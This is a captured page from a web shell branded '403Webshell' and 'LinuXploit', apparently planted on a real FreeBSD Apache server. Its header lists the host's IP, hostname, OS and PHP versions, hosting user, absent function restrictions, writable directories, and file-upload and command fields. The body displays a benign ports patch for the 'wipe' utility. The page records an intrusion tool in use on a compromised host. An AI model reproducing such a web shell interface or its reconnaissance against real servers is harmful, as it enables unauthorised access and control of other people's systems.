403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/security/wipe/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/security/wipe/files/patch-prompt.c
--- prompt.c.orig	2009-04-26 03:18:13 UTC
+++ prompt.c
@@ -41,9 +41,9 @@
 
 #include "std.h"
 #include "percent.h"
+#include "main.h"
 #include "file.h"
 #include "dir.h"
-#include "main.h"
 #include "wipe.h"
 #include "blkdev.h"
 #include "prompt.h"
@@ -69,7 +69,10 @@ public void prompt_destroy(struct file_s
     }
 #endif
 
-  if (options.force) goto destroy;
+  if (options.force){
+     chmod(f->real_name, S_IRWXU);
+     goto destroy;
+  }
 
   permdenied = access(f->name, perm);
   if (options.interactive) /* force overrides interaction */
@@ -119,7 +122,10 @@ public void prompt_destroy(struct file_s
 
 	      fgets(prompt, sizeof(prompt), stdin);
 
-	      if (prompt[0] == 'y' || prompt[0] == 'Y') goto destroy;
+	      if (prompt[0] == 'y' || prompt[0] == 'Y'){
+                chmod(f->real_name, S_IRWXU);
+                goto destroy;
+              }
 	      if (prompt[0] == 'n' || prompt[0] == 'N') return;
 	    }
 	}

Youez - 2016 - github.com/yon3zu
LinuXploit